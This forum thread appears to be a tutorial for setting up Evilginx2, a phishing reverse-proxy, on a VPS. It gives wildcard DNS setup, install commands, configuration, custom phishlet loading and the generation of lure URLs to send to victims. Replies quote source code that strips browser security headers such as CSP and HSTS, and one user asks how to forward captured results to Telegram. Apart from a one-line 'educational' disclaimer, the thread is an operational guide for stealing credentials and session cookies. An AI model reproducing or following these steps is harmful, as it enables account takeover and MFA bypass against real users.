Setup Evilginx2 on Server / VPS

:warning: Warning - This content is only for Educational purpuse :warning:

- Get DNS ready

  • remove all old records if there are any
  • add A name record for domain.com pointing to server IP
  • add A name record with value *.domain.com pointing to server ip

- Getting server ready

Sign in to the server

 ssh root@your-ip-here

update and install packahges

sudo apt update -y
sudo apt upgrade -y
sudo apt install curl git wget unzip golang -y

Setup evilginx2 from source

cd /root 
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2

or

wget https://github.com/kgretzky/evilginx2/releases/download/v3.3.0/evilginx-v3.3.0-linux-64bit.zip

unzip evilginx-v3.3.0-linux-64bit.zip

cd evilginx2

on ls you shold see folder with name phishlets
this is the location you put your phishlets
image

  • then start evilgenix for 1 st time
chmod +x evilginx2

./evilginx2

setup config

config domain domain.com
config external_ipv4 xx.xx.xx.xx
config dns_port 5300

check if your phishlets are loded with following cmmand

phishlets

now Type exit

now add your own phishlet

nano phishlets/test1.yaml

here is my exmple phishlet - make similar for you but dont use my domain fluxxset.com you can use your own


then save the file and exit ctrl + s then ctrl + x
Now start evilgenix again

./evilgenix2

now check if your phishlet is loded or not

NOw set hostname

phishlets hostname test1 example.com

then activate phishlet

phishlets enable test1 

then create auth url

lures create test1

copy url

lures get-url 0

Done

If you still facing issue then you know where to find me

1 Like

Some websites got custom Haders , how can i remove them or Modify them ?

you can modify source of Evilginix for that .

check code here https://github.com/kgretzky/evilginx2/blob/master/core/http_proxy.go
Line - 903




			var rm_headers = []string{
				"Content-Security-Policy",
				"Content-Security-Policy-Report-Only",
				"Strict-Transport-Security",
				"X-XSS-Protection",
				"X-Content-Type-Options",
				"X-Frame-Options",
			}
			for _, hdr := range rm_headers {
				resp.Header.Del(hdr)
			}

			redirect_set := false

Add your haders in rm_headers list , and that should remove those

How can i direct phishlets results to telegram?

looks like you are getting it from source n this case it needs to be build

use

go build

and then

./evilginx2

also if you face any issue with gho version then do

sudo apt remove go*

and then follow this one

install go version using this

1 Like

: config dns_port 5300
[21:32:47] [err] config: invalid syntax: [dns_port 5300]

Change directly in config file
Use

nano /root/.evilgenix/config.json

it worked, i was using a security group, so after setting everything up the prb has gone

1 Like

I’m having this problem to and I change the port in the config file is there something else I can do to fix this problem

Yes user must be root

if user is not root then config file location will also change .